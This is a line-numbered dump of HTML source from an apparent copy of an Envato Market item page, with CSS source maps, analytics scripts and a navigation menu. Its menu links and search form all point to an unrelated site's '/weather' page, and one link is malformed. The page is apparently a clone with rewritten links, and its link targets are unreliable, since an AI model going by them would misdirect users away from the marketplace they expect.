mb250LXNpemUtM3gpO1xuICAtLXRleHQtc3R5bGUtbGFiZWwtbGFyZ2Utc3BhY2luZzogdmFyKC0tZm9udC1zcGFjaW5nLW5vcm1hbCk7XG4gIC0tdGV4dC1zdHlsZS1sYWJlbC1sYXJnZS13ZWlnaHQ6IHZhcigtLWZvbnQtd2VpZ2h0LW1lZGlhbik7XG4gIC0tdGV4dC1zdHlsZS1sYWJlbC1sYXJnZS1oZWlnaHQ6IHZhcigtLWZvbnQtaGVpZ2h0LW5vcm1hbCk7XG5cbiAgLS10ZXh0LXN0eWxlLWxhYmVsLXNtYWxsLWZhbWlseTogdmFyKC0tZm9udC1mYW1pbHktcmVndWxhcik7XG4gIC0tdGV4dC1zdHlsZS1sYWJlbC1zbWFsbC1zaXplOiB2YXIoLS1mb250LXNpemUtMngpO1xuICAtLXRleHQtc3R5bGUtbGFiZWwtc21hbGwtc3BhY2luZzogdmFyKC0tZm9udC1zcGFjaW5nLWxvb3NlKTtcbiAgLS10ZXh0LXN0eWxlLWxhYmVsLXNtYWxsLXdlaWdodDogdmFyKC0tZm9udC13ZWlnaHQtbWVkaWFuKTtcbiAgLS10ZXh0LXN0eWxlLWxhYmVsLXNtYWxsLWhlaWdodDogdmFyKC0tZm9udC1oZWlnaHQtbm9ybWFsKTtcblxuICAtLXRleHQtc3R5bGUtbWljcm8tZmFtaWx5OiB2YXIoLS1mb250LWZhbWlseS1yZWd1bGFyKTtcbiAgLS10ZXh0LXN0eWxlLW1pY3JvLXNpemU6IHZhcigtLWZvbnQtc2l6ZS0xeCk7XG4gIC0tdGV4dC1zdHlsZS1taWNyby1zcGFjaW5nOiB2YXIoLS1mb250LXNwYWNpbmctbG9vc2UpO1xuICAtLXRleHQtc3R5bGUtbWljcm8td2VpZ2h0OiB2YXIoLS1mb250LXdlaWdodC1uZXV0cmFsKTtcbiAgLS10ZXh0LXN0eWxlLW1pY3JvLWhlaWdodDogdmFyKC0tZm9udC1oZWlnaHQtdGlnaHQpO1xufVxuXG4uY29sb3Itc2NoZW1lLWxpZ2h0IHtcbiAgLS1jb2xvci1pbnRlcmFjdGl2ZS1wcmltYXJ5OiB2YXIoLS1jb2xvci1ncmVlbi0xMDApO1xuICAtLWNvbG9yLWludGVyYWN0aXZlLXByaW1hcnktaG92ZXI6IHZhcigtLWNvbG9yLWdyZWVuLTMwMCk7XG4gIC0tY29sb3ItaW50ZXJhY3RpdmUtc2Vjb25kYXJ5OiB2YXIoLS1jb2xvci10cmFuc3BhcmVudCk7XG4gIC0tY29sb3ItaW50ZXJhY3RpdmUtc2Vjb25kYXJ5LWhvdmVyOiB2YXIoLS1jb2xvci1ncmV5LTEwMDApO1xuICAtLWNvbG9yLWludGVyYWN0aXZlLXRlcnRpYXJ5OiB2YXIoLS1jb2xvci10cmFuc3BhcmVudCk7XG4gIC0tY29sb3ItaW50ZXJhY3RpdmUtdGVydGlhcnktaG92ZXI6IHZhcigtLWNvbG9yLWdyZXktMjUpO1xuICAtLWNvbG9yLWludGVyYWN0aXZlLWNvbnRyb2w6IHZhcigtLWNvbG9yLWdyZXktMTAwMCk7XG4gIC0tY29sb3ItaW50ZXJhY3RpdmUtY29udHJvbC1ob3ZlcjogdmFyKC0tY29sb3ItZ3JleS03MDApO1xuICAtLWNvbG9yLWludGVyYWN0aXZlLWRpc2FibGVkOiB2YXIoLS1jb2xvci1ncmV5LTEwMCk7XG5cbiAgLS1jb2xvci1zdXJmYWNlLXByaW1hcnk6IHZhcigtLWNvbG9yLXdoaXRlKTtcbiAgLS1jb2xvci1zdXJmYWNlLWFjY2VudDogdmFyKC0tY29sb3ItZ3JleS01MCk7XG4gIC0tY29sb3Itc3VyZmFjZS1pbnZlcnNlOiB2YXIoLS1jb2xvci1ncmV5LTEwMDApO1xuICAtLWNvbG9yLXN1cmZhY2UtYnJhbmQtYWNjZW50OiB2YXIoLS1jb2xvci1qYWZmYS0yNSk7XG4gIC0tY29sb3Itc3VyZmFjZS1lbGV2YXRlZDogdmFyKC0tY29sb3ItZ3JleS03MDApO1xuICAtLWNvbG9yLXN1cmZhY2UtY2F1dGlvbi1kZWZhdWx0OiB2YXIoLS1jb2xvci1qYWZmYS0yNSk7XG4gIC0tY29sb3Itc3VyZmFjZS1jYXV0aW9uLXN0cm9uZzogdmFyKC0tY29sb3ItamFmZmEtNzAwKTtcbiAgLS1jb2xvci1zdXJmYWNlLWNyaXRpY2FsLWRlZmF1bHQ6IHZhcigtLWNvbG9yLXZlcnliZXJyeS0yNSk7XG4gIC0tY29sb3Itc3VyZmFjZS1jcml0aWNhbC1zdHJvbmc6IHZhcigtLWNvbG9yLXZlcnliZXJyeS03MDApO1xuICAtLWNvbG9yLXN1cmZhY2UtaW5mby1kZWZhdWx0OiB2YXIoLS1jb2xvci1ibHVlLTI1KTtcbiAgLS1jb2xvci1zdXJmYWNlLWluZm8tc3Ryb25nOiB2YXIoLS1jb2xvci1ibHVlLTcwMCk7XG4gIC0tY29sb3Itc3VyZmFjZS1uZXV0cmFsLWRlZmF1bHQ6IHZhcigtLWNvbG9yLWdyZXktMjUpO1xuICAtLWNvbG9yLXN1cmZhY2UtbmV1dHJhbC1zdHJvbmc6IHZhcigtLWNvbG9yLWdyZXktMTAwMCk7XG4gIC0tY29sb3Itc3VyZmFjZS1wb3NpdGl2ZS1kZWZhdWx0OiB2YXIoLS1jb2xvci1ncmVlbi0yNSk7XG4gIC0tY29sb3Itc3VyZmFjZS1wb3NpdGl2ZS1zdHJvbmc6IHZhcigtLWNvbG9yLWdyZWVuLTcwMCk7XG5cbiAgLS1jb2xvci1vdmVybGF5LWxpZ2h0OiB2YXIoLS1jb2xvci13aGl0ZS1tYXNrKTtcbiAgLS1jb2xvci1vdmVybGF5LWRhcms6IHZhcigtLWNvbG9yLWdyZXktMTAwMC1tYXNrKTtcblxuICAtLWNvbG9yLWNvbnRlbnQtYnJhbmQ6IHZhcigtLWNvbG9yLWdyZWVuLTEwMDApO1xuICAtLWNvbG9yLWNvbnRlbnQtYnJhbmQtYWNjZW50OiB2YXIoLS1jb2xvci1idWJibGVndW0tNzAwKTtcbiAgLS1jb2xvci1jb250ZW50LXByaW1hcnk6IHZhcigtLWNvbG9yLWdyZXktMTAwMCk7XG4gIC0tY29sb3ItY29udGVudC1pbnZlcnNlOiB2YXIoLS1jb2xvci13aGl0ZSk7XG4gIC0tY29sb3ItY29udGVudC1zZWNvbmRhcnk6IHZhcigtLWNvbG9yLWdyZXktNTAwKTtcbiAgLS1jb2xvci1jb250ZW50LWRpc2FibGVkOiB2YXIoLS1jb2xvci1ncmV5LTMwMCk7XG4gIC0tY29sb3ItY29udGVudC1jYXV0aW9uLWRlZmF1bHQ6IHZhcigtLWNvbG9yLWphZmZhLTcwMCk7XG4gIC0tY29sb3ItY29udGVudC1jYXV0aW9uLXN0cm9uZzogdmFyKC0tY29sb3ItamFmZmEtMjUpO1xuICAtLWNvbG9yLWNvbnRlbnQtY3JpdGljYWwtZGVmYXVsdDogdmFyKC0tY29sb3ItdmVyeWJlcnJ5LTcwMCk7XG4gIC0tY29sb3ItY29udGVudC1jcml0aWNhbC1zdHJvbmc6IHZhcigtLWNvbG9yLXZlcnliZXJyeS0yNSk7XG4gIC0tY29sb3ItY29udGVudC1pbmZvLWRlZmF1bHQ6IHZhcigtLWNvbG9yLWJsdWUtNzAwKTtcbiAgLS1jb2xvci1jb250ZW50LWluZm8tc3Ryb25nOiB2YXIoLS1jb2xvci1ibHVlLTI1KTtcbiAgLS1jb2xvci1jb250ZW50LW5ldXRyYWwtZGVmYXVsdDogdmFyKC0tY29sb3ItZ3JleS0xMDAwKTtcbiAgLS1jb2xvci1jb250ZW50LW5ldXRyYWwtc3Ryb25nOiB2YXIoLS1jb2xvci13aGl0ZSk7XG4gIC0tY29sb3ItY29udGVudC1wb3NpdGl2ZS1kZWZhdWx0OiB2YXIoLS1jb2xvci1ncmVlbi03MDApO1xuICAtLWNvbG9yLWNvbnRlbnQtcG9zaXRpdmUtc3Ryb25nOiB2YXIoLS1jb2xvci1ncmVlbi0yNSk7XG5cbiAgLS1jb2xvci1ib3JkZXItcHJpbWFyeTogdmFyKC0tY29sb3ItZ3JleS0xMDAwKTtcbiAgLS1jb2xvci1ib3JkZXItc2Vjb25kYXJ5OiB2YXIoLS1jb2xvci1ncmV5LTMwMCk7XG4gIC0tY29sb3ItYm9yZGVyLXRlcnRpYXJ5OiB2YXIoLS1jb2xvci1ncmV5LTEwMCk7XG5cbiAgLS1jb2xvci1hbHdheXMtd2hpdGU6IHZhcigtLWNvbG9yLXdoaXRlKTtcbn1cblxuLmNvbG9yLXNjaGVtZS1kYXJrIHtcbiAgLS1jb2xvci1pbnRlcmFjdGl2ZS1wcmltYXJ5OiB2YXIoLS1jb2xvci1ncmVlbi0xMDApO1xuICAtLWNvbG9yLWludGVyYWN0aXZlLXByaW1hcnktaG92ZXI6IHZhcigtLWNvbG9yLWdyZWVuLTMwMCk7XG4gIC0tY29sb3ItaW50ZXJhY3RpdmUtc2Vjb25kYXJ5OiB2YXIoLS1jb2xvci10cmFuc3BhcmVudCk7XG4gIC0tY29sb3ItaW50ZXJhY3RpdmUtc2Vjb25kYXJ5LWhvdmVyOiB2YXIoLS1jb2xvci13aGl0ZSk7XG4gIC0tY29sb3ItaW50ZXJhY3RpdmUtdGVydGlhcnk6IHZhcigtLWNvbG9yLXRyYW5zcGFyZW50KTtcbiAgLS1jb2xvci1pbnRlcmFjdGl2ZS10ZXJ0aWFyeS1ob3ZlcjogdmFyKC0tY29sb3ItZ3JleS03MDApO1xuICAtLWNvbG9yLWludGVyYWN0aXZlLWNvbnRyb2w6IHZhcigtLWNvbG9yLXdoaXRlKTtcbiAgLS1jb2xvci1pbnRlcmFjdGl2ZS1jb250cm9sLWhvdmVyOiB2YXIoLS1jb2xvci1ncmV5LTEwMCk7XG4gIC0tY29sb3ItaW50ZXJhY3RpdmUtZGlzYWJsZWQ6IHZhcigtLWNvbG9yLWdyZXktNzAwKTtcblxuICAtLWNvbG9yLXN1cmZhY2UtcHJpbWFyeTogdmFyKC0tY29sb3ItZ3JleS0xMDAwKTtcbiAgLS1jb2xvci1zdXJmYWNlLWFjY2VudDogdmFyKC0tY29sb3ItZ3JleS03MDApO1xuICAtLWNvbG9yLXN1cmZhY2UtaW52ZXJzZTogdmFyKC0tY29sb3Itd2hpdGUpO1xuICAtLWNvbG9yLXN1cmZhY2UtYnJhbmQtYWNjZW50OiB2YXIoLS1jb2xvci1ncmV5LTcwMCk7XG4gIC0tY29sb3Itc3VyZmFjZS1lbGV2YXRlZDogdmFyKC0tY29sb3ItZ3JleS03MDApO1xuICAtLWNvbG9yLXN1cmZhY2UtY2F1dGlvbi1kZWZhdWx0OiB2YXIoLS1jb2xvci1qYWZmYS0xMDAwKTtcbiAgLS1jb2xvci1zdXJmYWNlLWNhdXRpb24tc3Ryb25nOiB2YXIoLS1jb2xvci1qYWZmYS01MDApO1xuICAtLWNvbG9yLXN1cmZhY2UtY3JpdGljYWwtZGVmYXVsdDogdmFyKC0tY29sb3ItdmVyeWJlcnJ5LTEwMDApO1xuICAtLWNvbG9yLXN1cmZhY2UtY3JpdGljYWwtc3Ryb25nOiB2YXIoLS1jb2xvci12ZXJ5YmVycnktNTAwKTtcbiAgLS1jb2xvci1zdXJmYWNlLWluZm8tZGVmYXVsdDogdmFyKC0tY29sb3ItYmx1ZS0xMDAwKTtcbiAgLS1jb2xvci1zdXJmYWNlLWluZm8tc3Ryb25nOiB2YXIoLS1jb2xvci1ibHVlLTUwMCk7XG4gIC0tY29sb3Itc3VyZmFjZS1uZXV0cmFsLWRlZmF1bHQ6IHZhcigtLWNvbG9yLWdyZXktNzAwKTtcbiAgLS1jb2xvci1zdXJmYWNlLW5ldXRyYWwtc3Ryb25nOiB2YXIoLS1jb2xvci13aGl0ZSk7XG4gIC0tY29sb3Itc3VyZmFjZS1wb3NpdGl2ZS1kZWZhdWx0OiB2YXIoLS1jb2xvci1ncmVlbi0xMDAwKTtcbiAgLS1jb2xvci1zdXJmYWNlLXBvc2l0aXZlLXN0cm9uZzogdmFyKC0tY29sb3ItZ3JlZW4tNTAwKTtcblxuICAtLWNvbG9yLW92ZXJsYXktbGlnaHQ6IHZhcigtLWNvbG9yLXdoaXRlLW1hc2spO1xuICAtLWNvbG9yLW92ZXJsYXktZGFyazogdmFyKC0tY29sb3ItZ3JleS0xMDAwLW1hc2spO1xuXG4gIC0tY29sb3ItY29udGVudC1icmFuZDogdmFyKC0tY29sb3ItZ3JlZW4tMTAwMCk7XG4gIC0tY29sb3ItY29udGVudC1icmFuZC1hY2NlbnQ6IHZhcigtLWNvbG9yLWJ1YmJsZWd1bS0xMDApO1xuICAtLWNvbG9yLWNvbnRlbnQtcHJpbWFyeTogdmFyKC0tY29sb3Itd2hpdGUpO1xuICAtLWNvbG9yLWNvbnRlbnQtaW52ZXJzZTogdmFyKC0tY29sb3ItZ3JleS0xMDAwKTtcbiAgLS1jb2xvci1jb250ZW50LXNlY29uZGFyeTogdmFyKC0tY29sb3ItZ3JleS0xMDApO1xuICAtLWNvbG9yLWNvbnRlbnQtZGlzYWJsZWQ6IHZhcigtLWNvbG9yLWdyZXktNTAwKTtcbiAgLS1jb2xvci1jb250ZW50LWNhdXRpb24tZGVmYXVsdDogdmFyKC0tY29sb3ItamFmZmEtNTAwKTtcbiAgLS1jb2xvci1jb250ZW50LWNhdXRpb24tc3Ryb25nOiB2YXIoLS1jb2xvci1qYWZmYS0xMDAwKTtcbiAgLS1jb2xvci1jb250ZW50LWNyaXRpY2FsLWRlZmF1bHQ6IHZhcigtLWNvbG9yLXZlcnliZXJyeS01MDApO1xuICAtLWNvbG9yLWNvbnRlbnQtY3JpdGljYWwtc3Ryb25nOiB2YXIoLS1jb2xvci12ZXJ5YmVycnktMTAwMCk7XG4gIC0tY29sb3ItY29udGVudC1pbmZvLWRlZmF1bHQ6IHZhcigtLWNvbG9yLWJsdWUtNTAwKTtcbiAgLS1jb2xvci1jb250ZW50LWluZm8tc3Ryb25nOiB2YXIoLS1jb2xvci1ibHVlLTEwMDApO1xuICAtLWNvbG9yLWNvbnRlbnQtbmV1dHJhbC1kZWZhdWx0OiB2YXIoLS1jb2xvci13aGl0ZSk7XG4gIC0tY29sb3ItY29udGVudC1uZXV0cmFsLXN0cm9uZzogdmFyKC0tY29sb3ItZ3JleS0xMDAwKTtcbiAgLS1jb2xvci1jb250ZW50LXBvc2l0aXZlLWRlZmF1bHQ6IHZhcigtLWNvbG9yLWdyZWVuLTUwMCk7XG4gIC0tY29sb3ItY29udGVudC1wb3NpdGl2ZS1zdHJvbmc6IHZhcigtLWNvbG9yLWdyZWVuLTEwMDApO1xuXG4gIC0tY29sb3ItYm9yZGVyLXByaW1hcnk6IHZhcigtLWNvbG9yLXdoaXRlKTtcbiAgLS1jb2xvci1ib3JkZXItc2Vjb25kYXJ5OiB2YXIoLS1jb2xvci1ncmV5LTUwMCk7XG4gIC0tY29sb3ItYm9yZGVyLXRlcnRpYXJ5OiB2YXIoLS1jb2xvci1ncmV5LTcwMCk7XG5cbiAgLS1jb2xvci1hbHdheXMtd2hpdGU6IHZhcigtLWNvbG9yLXdoaXRlKTtcbn1cbiJdLCJzb3VyY2VSb290IjoiIn0= */
  3860.    </style>
  3861.    <style>
  3862.        .brand-neue-button {
  3863.            gap: var(--spacing-2x);
  3864.            border-radius: var(--roundness-subtle);
  3865.            background: var(--color-interactive-primary);
  3866.            color: var(--color-content-brand);
  3867.            font-family: PolySans-Median;
  3868.            font-size: var(--font-size-2x);
  3869.            letter-spacing: 0.02em;
  3870.            text-align: center;
  3871.            padding: 0 20px;
  3872.        }
  3873.  
  3874.        .brand-neue-button:hover, .brand-neue-button:active, .brand-neue-button:focus {
  3875.            background: var(--color-interactive-primary-hover);
  3876.        }
  3877.  
  3878.        .brand-neue-button__open-in-new::after {
  3879.            font-size: 0;
  3880.            margin-left: 5px;
  3881.            vertical-align: sub;
  3882.            content: url("data:image/svg+xml,<svg width=\"14\" height=\"14\" viewBox=\"0 0 20 20\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><g id=\"ico-/-24-/-actions-/-open_in_new\"><path id=\"Icon-color\" d=\"M17.5 12.0833V15.8333C17.5 16.7538 16.7538 17.5 15.8333 17.5H4.16667C3.24619 17.5 2.5 16.7538 2.5 15.8333V4.16667C2.5 3.24619 3.24619 2.5 4.16667 2.5H7.91667C8.14679 2.5 8.33333 2.68655 8.33333 2.91667V3.75C8.33333 3.98012 8.14679 4.16667 7.91667 4.16667H4.16667V15.8333H15.8333V12.0833C15.8333 11.8532 16.0199 11.6667 16.25 11.6667H17.0833C17.3135 11.6667 17.5 11.8532 17.5 12.0833ZM17.3167 2.91667L17.0917 2.69167C16.98 2.57535 16.8278 2.50668 16.6667 2.5H11.25C11.0199 2.5 10.8333 2.68655 10.8333 2.91667V3.75C10.8333 3.98012 11.0199 4.16667 11.25 4.16667H14.6583L7.625 11.2C7.54612 11.2782 7.50175 11.3847 7.50175 11.4958C7.50175 11.6069 7.54612 11.7134 7.625 11.7917L8.20833 12.375C8.28657 12.4539 8.39307 12.4982 8.50417 12.4982C8.61527 12.4982 8.72176 12.4539 8.8 12.375L15.8333 5.35V8.75C15.8333 8.98012 16.0199 9.16667 16.25 9.16667H17.0833C17.3135 9.16667 17.5 8.98012 17.5 8.75V3.33333C17.4955 3.17342 17.4299 3.02132 17.3167 2.90833V2.91667Z\" fill=\"%231A4200\"/></g></svg>");
  3883.        }
  3884.  
  3885.        /*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIndlYnBhY2s6Ly8uL2FwcC9qYXZhc2NyaXB0L2NvbXBvbmVudHMvYnJhbmRfbmV1ZV90b2tlbnMvY29tcG9uZW50cy9idXR0b24uc2FzcyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFBQTtFQUNFLHNCQUFBO0VBQ0Esc0NBQUE7RUFDQSw0Q0FBQTtFQUNBLGlDQUFBO0VBQ0EsNEJBQUE7RUFDQSw4QkFBQTtFQUNBLHNCQUFBO0VBQ0Esa0JBQUE7RUFDQSxlQUFBO0FBQ0Y7QUFBRTtFQUNFLGtEQUFBO0FBRUo7O0FBQ0U7RUFDRSxZQUFBO0VBQ0EsZ0JBQUE7RUFDQSxtQkFBQTtFQUNBLGdEQUFBO0FBRUoiLCJzb3VyY2VzQ29udGVudCI6WyIuYnJhbmQtbmV1ZS1idXR0b25cbiAgZ2FwOiB2YXIoLS1zcGFjaW5nLTJ4KVxuICBib3JkZXItcmFkaXVzOiB2YXIoLS1yb3VuZG5lc3Mtc3VidGxlKVxuICBiYWNrZ3JvdW5kOiB2YXIoLS1jb2xvci1pbnRlcmFjdGl2ZS1wcmltYXJ5KVxuICBjb2xvcjogdmFyKC0tY29sb3ItY29udGVudC1icmFuZClcbiAgZm9udC1mYW1pbHk6IFBvbHlTYW5zLU1lZGlhblxuICBmb250LXNpemU6IHZhcigtLWZvbnQtc2l6ZS0yeClcbiAgbGV0dGVyLXNwYWNpbmc6IDAuMDJlbVxuICB0ZXh0LWFsaWduOiBjZW50ZXJcbiAgcGFkZGluZzogMCAyMHB4XG4gICY6aG92ZXIsICY6YWN0aXZlLCAmOmZvY3VzXG4gICAgYmFja2dyb3VuZDogdmFyKC0tY29sb3ItaW50ZXJhY3RpdmUtcHJpbWFyeS1ob3ZlcilcblxuLmJyYW5kLW5ldWUtYnV0dG9uX19vcGVuLWluLW5ld1xuICAmOjphZnRlclxuICAgIGZvbnQtc2l6ZTogMFxuICAgIG1hcmdpbi1sZWZ0OiA1cHhcbiAgICB2ZXJ0aWNhbC1hbGlnbjogc3ViXG4gICAgY29udGVudDogdXJsKCdkYXRhOmltYWdlL3N2Zyt4bWwsPHN2ZyB3aWR0aD1cIjE0XCIgaGVpZ2h0PVwiMTRcIiB2aWV3Qm94PVwiMCAwIDIwIDIwXCIgZmlsbD1cIm5vbmVcIiB4bWxucz1cImh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnXCI+PGcgaWQ9XCJpY28tLy0yNC0vLWFjdGlvbnMtLy1vcGVuX2luX25ld1wiPjxwYXRoIGlkPVwiSWNvbi1jb2xvclwiIGQ9XCJNMTcuNSAxMi4wODMzVjE1LjgzMzNDMTcuNSAxNi43NTM4IDE2Ljc1MzggMTcuNSAxNS44MzMzIDE3LjVINC4xNjY2N0MzLjI0NjE5IDE3LjUgMi41IDE2Ljc1MzggMi41IDE1LjgzMzNWNC4xNjY2N0MyLjUgMy4yNDYxOSAzLjI0NjE5IDIuNSA0LjE2NjY3IDIuNUg3LjkxNjY3QzguMTQ2NzkgMi41IDguMzMzMzMgMi42ODY1NSA4LjMzMzMzIDIuOTE2NjdWMy43NUM4LjMzMzMzIDMuOTgwMTIgOC4xNDY3OSA0LjE2NjY3IDcuOTE2NjcgNC4xNjY2N0g0LjE2NjY3VjE1LjgzMzNIMTUuODMzM1YxMi4wODMzQzE1LjgzMzMgMTEuODUzMiAxNi4wMTk5IDExLjY2NjcgMTYuMjUgMTEuNjY2N0gxNy4wODMzQzE3LjMxMzUgMTEuNjY2NyAxNy41IDExLjg1MzIgMTcuNSAxMi4wODMzWk0xNy4zMTY3IDIuOTE2NjdMMTcuMDkxNyAyLjY5MTY3QzE2Ljk4IDIuNTc1MzUgMTYuODI3OCAyLjUwNjY4IDE2LjY2NjcgMi41SDExLjI1QzExLjAxOTkgMi41IDEwLjgzMzMgMi42ODY1NSAxMC44MzMzIDIuOTE2NjdWMy43NUMxMC44MzMzIDMuOTgwMTIgMTEuMDE5OSA0LjE2NjY3IDExLjI1IDQuMTY2NjdIMTQuNjU4M0w3LjYyNSAxMS4yQzcuNTQ2MTIgMTEuMjc4MiA3LjUwMTc1IDExLjM4NDcgNy41MDE3NSAxMS40OTU4QzcuNTAxNzUgMTEuNjA2OSA3LjU0NjEyIDExLjcxMzQgNy42MjUgMTEuNzkxN0w4LjIwODMzIDEyLjM3NUM4LjI4NjU3IDEyLjQ1MzkgOC4zOTMwNyAxMi40OTgyIDguNTA0MTcgMTIuNDk4MkM4LjYxNTI3IDEyLjQ5ODIgOC43MjE3NiAxMi40NTM5IDguOCAxMi4zNzVMMTUuODMzMyA1LjM1VjguNzVDMTUuODMzMyA4Ljk4MDEyIDE2LjAxOTkgOS4xNjY2NyAxNi4yNSA5LjE2NjY3SDE3LjA4MzNDMTcuMzEzNSA5LjE2NjY3IDE3LjUgOC45ODAxMiAxNy41IDguNzVWMy4zMzMzM0MxNy40OTU1IDMuMTczNDIgMTcuNDI5OSAzLjAyMTMyIDE3LjMxNjcgMi45MDgzM1YyLjkxNjY3WlwiIGZpbGw9XCIlMjMxQTQyMDBcIi8+PC9nPjwvc3ZnPicpXG5cbiJdLCJzb3VyY2VSb290IjoiIn0= */
  3886.    </style>
  3887. </head>
  3888. <body class="color-scheme-light" data-view="app impressionTracker" data-responsive="true" data-user-signed-in="false" __processed_046ac43c-cdf6-4311-9a75-3ea1775342f5__="true" bis_register="W3sibWFzdGVyIjp0cnVlLCJleHRlbnNpb25JZCI6ImVwcGlvY2VtaG1ubGJoanBsY2drb2ZjaWllZ29tY29uIiwiYWRibG9ja2VyU3RhdHVzIjp7IkRJU1BMQVkiOiJlbmFibGVkIiwiRkFDRUJPT0siOiJlbmFibGVkIiwiVFdJVFRFUiI6ImVuYWJsZWQiLCJSRURESVQiOiJlbmFibGVkIiwiUElOVEVSRVNUIjoiZW5hYmxlZCIsIklOU1RBR1JBTSI6ImVuYWJsZWQiLCJUSUtUT0siOiJkaXNhYmxlZCIsIkxJTktFRElOIjoiZW5hYmxlZCIsIkNPTkZJRyI6ImRpc2FibGVkIn0sInZlcnNpb24iOiIyLjAuMjYiLCJzY29yZSI6MjAwMjYwfV0=">
  3889.    <script nonce="TFNQUvYHwdi8uHoMheRs/Q==">
  3890.        //<![CDATA[
  3891.        var gtmConfig = {}
  3892.  
  3893.        //]]>
  3894.    </script>
  3895.    <script src="https://public-assets.envato-static.com/assets/gtm_measurements-40b0a0f82bafab0a0bb77fc35fe1da0650288300b85126c95b4676bcff6e4584.js" nonce="TFNQUvYHwdi8uHoMheRs/Q=="></script>
  3896.    <noscript>
  3897.        <iframe src="https://www.googletagmanager.com/ns.html?id=GTM-W8KL5Q5" height="0" width="0" style="display:none;visibility:hidden"></iframe>
  3898.    </noscript>
  3899.    <noscript>
  3900.        <iframe src="https://www.googletagmanager.com/ns.html?id=GTM-KGCDGPL6" height="0" width="0" style="display:none;visibility:hidden"></iframe>
  3901.    </noscript>
  3902.    <script nonce="TFNQUvYHwdi8uHoMheRs/Q==">
  3903.        //<![CDATA[
  3904.        (function() {
  3905.            function normalizeAttributeValue(value) {
  3906.                if (value === undefined || value === null)
  3907.                    return undefined
  3908.  
  3909.                var normalizedValue
  3910.  
  3911.                if (Array.isArray(value)) {
  3912.                    normalizedValue = normalizedValue || value.map(normalizeAttributeValue).filter(Boolean).join(', ')
  3913.                }
  3914.  
  3915.                normalizedValue = normalizedValue || value.toString().toLowerCase().trim().replace(/&amp;/g, '&').replace(/&#39;/g, "'").replace(/\s+/g, ' ')
  3916.  
  3917.                if (normalizedValue === '')
  3918.                    return undefined
  3919.                return normalizedValue
  3920.            }
  3921.  
  3922.            var pageAttributes = {
  3923.                app_name: normalizeAttributeValue('Marketplace'),
  3924.                app_env: normalizeAttributeValue('production'),
  3925.                app_version: normalizeAttributeValue('f7d8b3d494288b34cb00105ee5d230d68b0ccca7'),
  3926.                page_type: normalizeAttributeValue('item'),
  3927.                page_location: window.location.href,
  3928.                page_title: document.title,
  3929.                page_referrer: document.referrer,
  3930.                ga_param: normalizeAttributeValue(''),
  3931.                event_attributes: null,
  3932.                user_attributes: {
  3933.                    user_id: normalizeAttributeValue(''),
  3934.                    market_user_id: normalizeAttributeValue(''),
  3935.                }
  3936.            }
  3937.            dataLayer.push(pageAttributes)
  3938.  
  3939.            dataLayer.push({
  3940.                event: 'analytics_ready',
  3941.                event_attributes: {
  3942.                    event_type: 'user',
  3943.                    custom_timestamp: Date.now()
  3944.                }
  3945.            })
  3946.        }
  3947.        )();
  3948.  
  3949.        //]]>
  3950.    </script>
  3951.    <style>
  3952.        .live-preview-btn--blue .live-preview {
  3953.            background-color: #ff9204;
  3954.        }
  3955.  
  3956.        .live-preview-btn--blue .live-preview:hover, .live-preview-btn--blue .live-preview:focus {
  3957.            background-color: #292928
  3958.        }
  3959.    </style>
  3960.    <div class="page">
  3961.        <div class="page__off-canvas--left overflow">
  3962.            <div class="off-canvas-left js-off-canvas-left">
  3963.                <div class="off-canvas-left__top">
  3964.                    <a href="https://www.missourikayakadventures.com/weather">Envato Market</a>
  3965.                </div>
  3966.                <div class="off-canvas-left__current-site -color-themeforest">
  3967.                    <span class="off-canvas-left__site-title">Web Themes &amp;Templates
  3968.                    </span>
  3969.                    <a class="off-canvas-left__current-site-toggle -white-arrow -color-themeforest" data-view="dropdown" data-dropdown-target=".off-canvas-left__sites" href="https://www.missourikayakadventures.com/weather"></a>
  3970.                </div>
  3971.                <div class="off-canvas-left__sites is-hidden" id="off-canvas-sites">
  3972.                    <a class="off-canvas-left__site" href="hhttps://www.missourikayakadventures.com/weather">
  3973.                        <span class="off-canvas-left__site-title">Code
  3974.                        </span>
  3975.                        <i class="e-icon -icon-right-open"></i>
  3976.                    </a>
  3977.                    <a class="off-canvas-left__site" href="https://www.missourikayakadventures.com/weather">
  3978.                        <span class="off-canvas-left__site-title">Video
  3979.                        </span>
  3980.                        <i class="e-icon -icon-right-open"></i>
  3981.                    </a>
  3982.                    <a class="off-canvas-left__site" href="https://www.missourikayakadventures.com/weather">
  3983.                        <span class="off-canvas-left__site-title">Audio
  3984.                        </span>
  3985.                        <i class="e-icon -icon-right-open"></i>
  3986.                    </a>
  3987.                    <a class="off-canvas-left__site" href="https://www.missourikayakadventures.com/weather">
  3988.                        <span class="off-canvas-left__site-title">Graphics
  3989.                        </span>
  3990.                        <i class="e-icon -icon-right-open"></i>
  3991.                    </a>
  3992.                    <a class="off-canvas-left__site" href="https://www.missourikayakadventures.com/weather">
  3993.                        <span class="off-canvas-left__site-title">Photos
  3994.                        </span>
  3995.                        <i class="e-icon -icon-right-open"></i>
  3996.                    </a>
  3997.                    <a class="off-canvas-left__site" href="https://www.missourikayakadventures.com/weather">
  3998.                        <span class="off-canvas-left__site-title">3D Files
  3999.                        </span>
  4000.                        <i class="e-icon -icon-right-open"></i>
  4001.                    </a>
  4002.                </div>
  4003.                <div class="off-canvas-left__search">
  4004.                    <form id="search" action="https://www.missourikayakadventures.com/weather" accept-charset="UTF-8" method="get">
  4005.                        <div class="search-field -border-none">
  4006.                            <div class="search-field__input">
  4007.                                <input id="term" name="term" type="search" placeholder="Search" class="search-field__input-field">
  4008.                            </div>
  4009.                            <button class="search-field__button" type="submit">
  4010.                                <i class="e-icon -icon-search">
  4011.                                    <span class="e-icon__alt">Search</span>
  4012.                                </i>
  4013.                            </button>
  4014.                        </div>
  4015.                    </form>
  4016.                </div>
  4017.                <ul>
  4018.                    <li>
  4019.                        <a class="off-canvas-category-link" data-view="dropdown" data-dropdown-target="#off-canvas-all-items" href="https://www.missourikayakadventures.com/weather">All Items
  4020.                        </a>
  4021.                        <ul class="is-hidden" id="off-canvas-all-items">
  4022.                            <li>
  4023.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Popular
  4024.                                    Files</a>
  4025.                            </li>
  4026.                            <li>
  4027.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Featured
  4028.                                    Files</a>
  4029.                            </li>
  4030.                            <li>
